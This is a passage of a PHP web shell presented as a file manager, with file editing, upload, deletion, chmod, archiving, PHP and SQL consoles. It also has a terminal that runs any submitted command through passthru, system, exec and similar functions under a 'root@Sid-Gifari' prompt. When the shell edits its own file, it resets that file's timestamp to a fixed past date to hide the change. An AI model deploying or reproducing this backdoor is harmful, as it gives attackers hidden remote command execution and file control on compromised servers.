9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
